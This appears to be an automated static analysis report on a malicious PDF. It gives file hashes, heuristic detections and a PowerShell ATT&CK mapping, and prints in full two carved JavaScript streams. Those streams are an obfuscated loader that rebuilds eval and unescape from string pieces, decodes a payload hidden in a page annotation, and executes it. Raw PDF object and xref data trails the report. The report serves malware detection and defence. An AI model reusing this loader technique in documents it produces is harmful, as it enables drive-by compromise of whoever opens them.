Malicious PDF — malware analysis report

Static analysis result for SHA-256 4063b78bb23bbfd1…

MALICIOUS

PDF

1.5 KB First seen: 2026-05-10
MD5: 32f107fa97c82df44e8dfb44c324bcb5 SHA-1: bec527f216b3592abd4f1714f10366f7e461fec2 SHA-256: 4063b78bb23bbfd136162ad2883e31fb74462cf9006513bca8d4d4b61a1757fd
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF document contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The JavaScript stream appears to be obfuscated, as suggested by the 'Script obfuscation indicators' heuristic. The presence of an eval() call within the JavaScript is a strong indicator of dynamic code execution, likely intended to download and execute a second-stage payload. The specific intent of the script is difficult to ascertain due to obfuscation, but the overall pattern suggests a malicious downloader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    jPLYVfZudF7=orlepblBKL18(orlepblBKL18(onnYEPjfUw6));
if(app.doc.URL.substring(0,7).toLowerCase() == "http://") {eval(jPLYVfZudF7);}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1E7 668 bytes
SHA-256: b393424217df233e281e89b29b22e40bc27d6feaccea101d833b69e55c287748
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 9 of 14 identifiers look randomly generated (e.g. 'syncAnnotScan') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var DjLDNSefCj1 = "e";
var YvkRbLaEME3 = "%";
var sFSRgijXoN17 = this[DjLDNSefCj1+"val"];
var orlepblBKL18 = this["un"+DjLDNSefCj1+"scap"+DjLDNSefCj1];
sFSRgijXoN17("var DYqxpGMjag15 = /b"+DjLDNSefCj1+"x11/ig;");
var BroNPKsoFV10 = app["doc"];
BroNPKsoFV10["syncAnnotScan"]();
var uPoGTBYxgb4 = BroNPKsoFV10["g"+DjLDNSefCj1+""+app.doc.URL.toLowerCase()[1]+"Annots"]( {  nPage: 0 });
var gauajCXsPs5 = uPoGTBYxgb4[0]["subj"+DjLDNSefCj1+"ct"];
var onnYEPjfUw6 = gauajCXsPs5["r"+DjLDNSefCj1+"plac"+DjLDNSefCj1](DYqxpGMjag15,YvkRbLaEME3);
jPLYVfZudF7=orlepblBKL18(orlepblBKL18(onnYEPjfUw6));
if(app.doc.URL.substring(0,7).toLowerCase() == "http://") {eval(jPLYVfZudF7);}
javascript_obj0008_001.js pdf-javascript-stream PDF /JS object 8 at offset 0x208 972 bytes
SHA-256: d49d9d1a4d8c7a43ce21ee695415c1ca839e370157f966d6d7d5035b811548ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 10 of 20 identifiers look randomly generated (e.g. 'syncAnnotScan') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var DjLDNSefCj1 = "e";
var YvkRbLaEME3 = "%";
var sFSRgijXoN17 = this[DjLDNSefCj1+"val"];
var orlepblBKL18 = this["un"+DjLDNSefCj1+"scap"+DjLDNSefCj1];
sFSRgijXoN17("var DYqxpGMjag15 = /b"+DjLDNSefCj1+"x11/ig;");
var BroNPKsoFV10 = app["doc"];
BroNPKsoFV10["syncAnnotScan"]();
var uPoGTBYxgb4 = BroNPKsoFV10["g"+DjLDNSefCj1+""+app.doc.URL.toLowerCase()[1]+"Annots"]( {  nPage: 0 });
var gauajCXsPs5 = uPoGTBYxgb4[0]["subj"+DjLDNSefCj1+"ct"];
var onnYEPjfUw6 = gauajCXsPs5["r"+DjLDNSefCj1+"plac"+DjLDNSefCj1](DYqxpGMjag15,YvkRbLaEME3);
jPLYVfZudF7=orlepblBKL18(orlepblBKL18(onnYEPjfUw6));
if(app.doc.URL.substring(0,7).toLowerCase() == "http://") {eval(jPLYVfZudF7);}

endstream
endobj
7 0 obj
<<
/Length 0
>>
stream

endstream
endobj xref
0 9
0000000000 65535 f
0000000015 00000 n
0000000100 00000 n
0000000413 00000 n
0000000148 00000 n
0000000207 00000 n
0000000313 00000 n
0000000730 00000 n
0000000475 00000 n
trailer

<<
/Root 1 0 R
/Size 9
>>
startxref
36221
%%EOF

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